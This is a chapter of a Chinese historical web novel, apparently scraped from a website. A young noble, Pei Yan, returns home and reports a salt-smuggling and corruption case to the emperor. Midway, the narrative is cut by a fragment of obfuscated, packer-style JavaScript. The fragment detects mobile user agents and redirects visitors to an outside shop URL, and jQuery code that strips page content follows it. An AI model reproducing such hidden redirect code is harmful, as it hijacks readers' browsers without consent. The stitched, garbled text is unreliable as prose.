“快起来，快起来！”老夫人一迭连声，眼中笑意藏都藏不住，亲自伸手去扶，“让我好好看看……瘦了，定是在外头没好好吃饭。” 裴宴顺势起身，扶着祖母往屋里走：“孙儿一切都好，倒是祖母，看着清减了些。” “我有什么清减的，整日在府里养着。”老夫人拉他在身边坐下，一迭连声吩咐丫鬟，“快拿帕子来给宴哥儿擦脸，去沏茶，要刚送来的明前龙井。厨房里炖的银耳莲子羹也端一碗来……” 丫鬟们忙成一团。裴宴接过温热的帕子擦了脸手，这才在祖母下首的绣墩上坐下。 “你外祖母身子可硬朗？”老夫人问起江南的事。 “外祖母身子康健，让孙儿代问祖母安好。”裴宴答道，“二舅父、舅母也都好。谦表哥还托孙儿带了些江南的土仪，跟在后面，明日便能送到。” 提到沈家，老夫人脸上笑容淡了些，眼中闪过一丝复杂的追忆，却也没多说什么，最终只点点头：“难为他们惦记。”她顿了顿，看着孙儿眉宇间藏不住的倦色，话锋一转，“你一路舟车劳顿，先回房歇歇。有什么话，明日再说。” 裴宴确实累了。连日赶路，加上在江南那些明察暗访，身心俱疲。他起身行礼：“那孙儿先告退，晚些再来陪祖母用饭。” “去吧去吧，好生歇着。”老夫人慈爱地摆手。 裴宴的院子在国公府东侧，名唤“九思居”。院名取自“君子有九思”，透着克己复礼的肃然，与他此刻风尘仆仆的归来形成一种微妙反差。三进的院落不算阔朗，却极清幽。一池活水引自外头的金水河，潺潺环绕，池边翠竹与芭蕉绿意正浓，在午后光影里泛着油润的光泽。 他刚踏进月洞门，原本静谧的院子仿佛被投入石子的静水，瞬间活络起来。早已得了消息、翘首以盼的丫鬟们，如归巢的雀儿般从各处盈盈涌现，一拥而上，将他妥帖地拱卫在中心。 “公子回来了！” “公子一路可安顺？” “热水一直备着呢！” 管事大丫鬟秋月领首上前，声音清脆却有条不紊，压下了一片叽叽喳喳的问候。她身后，几个伶俐的二等丫鬟已然各司其职：一个无声接过他沾了尘灰的披风，一个递上温度恰好的沁香帕子，另一个已捧着干净的软鞋候在一旁。 “公子是先沐浴解乏，还是先用些清淡茶点垫垫？”秋月微微仰头，目光关切地扫过他眼底的淡青。 “沐浴。”裴宴简短道，声音里的疲惫在回到熟悉的环境后，似乎更明显了些。他任由丫鬟们簇拥着往正房去，那阵势并非喧闹，而是一种训练有素、密不透风的体贴，将他与外界的一切烦扰暂时隔开。 屋里一切如旧。紫檀木的多宝阁，官帽椅，临窗的书案上笔墨纸砚摆放得整整齐齐，连他离京前看了一半的那本兵书，都还摊开在原来的位置。空气中弥漫着淡淡的檀香味，是他惯用的熏香。 裴宴站在屋中，环视一周，忽然有种恍如隔世的感觉。 在江南这一个多月，看的是小桥流水，听的是吴侬软语，接触的是市井百姓、江湖郎中。而这里，是高门深院，是钟鸣鼎食，是权谋算计。 两个世界。 他摇摇头，将这莫名的感慨压下。丫鬟已备好了热水，他走进盥洗室，褪去沾满尘土的衣衫，将自己浸入温热的水中。 水汽氤氲，疲惫一点点从骨缝里渗出来。裴宴闭上眼，脑海里却不由自主地浮现出一些画面—— 纯阳宫石径上那个雨过天青色的身影；柳枝巷小院里那双清亮坦然的眼；还有那夜翻墙而入时，她惊吓后又强作镇定的模样…… 他猛地睁开眼。 不该想这些。 明日要进宫面圣，江南的事需得仔细禀报。那些私盐、漕运、贪墨的线索千头万绪，牵涉的官员从地方到中枢，个个都不是省油的灯。尤其是崔琰…… 裴宴眼神沉了下来。 这个老太监，在江南经营多年，手伸得极长。盐、茶、漕运，处处都有他的影子。更棘手的是，朝中似乎也有人与他勾连…… 他起身，换上干净的月白中衣，外罩一件石青色家常道袍。秋月端来热茶和几样点心，他挥手让丫鬟们都退了下去。简单用了些点心，他便在书案前坐下，取出路上整理的密报，细细翻阅。 烛火燃起时，他已将江南之行的要点梳理清楚。哪些证据确凿，哪些尚需查证，哪些线索指向何人，一一在胸。 窗外天色渐暗，暮色四合。 裴宴吹熄烛火，走到窗前。清风苑里安静得很，只闻竹叶沙沙，池水潺潺。远处隐隐传来更鼓声——戌时了。 他深吸一口气，又缓缓吐出。 明日，还有一场硬仗要打。 第二日，天还未亮，裴宴便起身了。 秋月伺候他换上朝服——绯色罗袍，腰束玉带，头戴乌纱幞头。镜中的少年眉目清俊，神色沉静，通身透着世家子弟的矜贵与沉稳。 “公子今日要进宫？”秋月一边为他整理衣襟，一边轻声问。 “嗯。”裴宴应了一声，“若老爷回府，就说我午后便回。” “是。” 马车早已候在府门外。裴宴登车，车夫一声轻喝，马车辘辘驶向皇城。 清晨的京城尚未完全苏醒，街道上已有早起的贩夫走卒。卖菜的、挑水的、赶早市的，在薄雾中穿行。马车穿过几条街巷，巍峨的皇城便出现在眼前。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222052|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 朱红的宫墙，金色的琉璃瓦，在晨曦中泛着庄严的光。守卫宫门的禁军认得国公府的车驾，查验了腰牌便放行入内。 裴宴在左银台门外下车，步行入宫。早有内侍等候，引着他往御书房去。 穿过重重宫门，绕过几处殿宇，御书房便到了。这是皇帝日常处理政务、召见近臣的地方，不算宏阔，却处处透着天家的威严。 内侍通报后，书房门开启。裴宴整了整衣冠，垂首入内。 “臣裴宴，叩见陛下。” “平身。”御案后传来一个温和却威仪的声音。 裴宴起身，垂手侍立。抬眼看去，皇帝正坐在紫檀木御案后，穿着明黄色常服，四十来岁的年纪，面容清癯，眼神睿智而深沉。他手边堆着几叠奏章，显是已处理了许久政务。 “江南一行，辛苦了。”皇帝放下手中的朱笔，示意内侍看座。 “臣分内之事。”裴宴在绣墩上坐了半个身子，姿态恭谨。 内侍奉上茶，便悄无声息地退了出去，带上房门。书房里只剩下君臣二人。 皇帝端起茶盏，轻轻撇着浮沫，看似随意地问：“江南风物如何？” “山清水秀，物阜民丰。”裴宴答道，“只是……” “只是什么？” 裴宴抬眼，见皇帝目光如炬，便知不必再绕弯子。他从袖中取出一份密折，双手呈上：“臣在江南暗访月余，查到些事，需禀报陛下。” 皇帝接过密折，展开细看。起初神色尚平静，越往后看，眉头皱得越紧。待看到某处时，脸色陡然阴沉下来。 书房里一片死寂，只闻皇帝翻动纸页的沙沙声。 许久，皇帝放下密折，抬眼看向裴宴，声音听不出情绪：“这些事，你可有实证？” “部分有。”裴宴斟酌着回道，“江南道漕帮与沿途州县官员勾结，贩卖私盐、偷漏税赋，臣已拿到几处码头、盐场的账册副本，人证也有几个。只是……”他顿了顿，“牵涉的官员不少，有些还是朝中重臣的门生故旧。若要一查到底，恐震动朝野。” 皇帝沉默片刻，手指在御案上轻轻叩击，发出有节奏的笃笃声。 “还有一事，”裴宴继续道，声音压得更低，“关于江南路发运使崔琰。” 皇帝眼神陡然锐利：“崔琰？他怎么了？” “臣查到，崔琰在江南这些年，不仅与盐商、漕帮往来密切，更插手茶政、漕运，从中牟利巨万。”裴宴一字一句道，“更可疑的是，他每年往京中运送的‘江南特产’，数额惊人，远超常理。臣怀疑，其中不少是……” 他没说完，但皇帝听懂了。 “送往宫中？”皇帝声音冷了下来。 “臣不敢妄言。”裴宴垂首，“只是崔琰在宫中根基颇深，若真有其事，恐牵涉更广。” 皇帝久久不语。御书房里烛火跳动，将他的影子投在墙上，拉得忽长忽短。 裴宴静静等着。他知道这番话的分量——崔琰不是寻常官员，他是太监，是天子家奴，却在江南只手遮天。若真查下去，牵扯出的恐怕不止是贪墨，更是宫闱秘辛。 良久，皇帝终于开口，声音疲惫：“朕知道了。你且将查到的证据整理好，密奏上来。至于崔琰……”他顿了顿，“先不要打草惊蛇。” “臣遵旨。” 皇帝挥挥手：“你一路劳顿，先回去歇着吧。此事……容朕思量。” 裴宴起身行礼，退了出去。 走出御书房时，日头已升得老高。阳光刺眼，他眯了眯眼，回头望了眼那扇紧闭的朱红大门。 他深吸一口气，迈步走下石阶。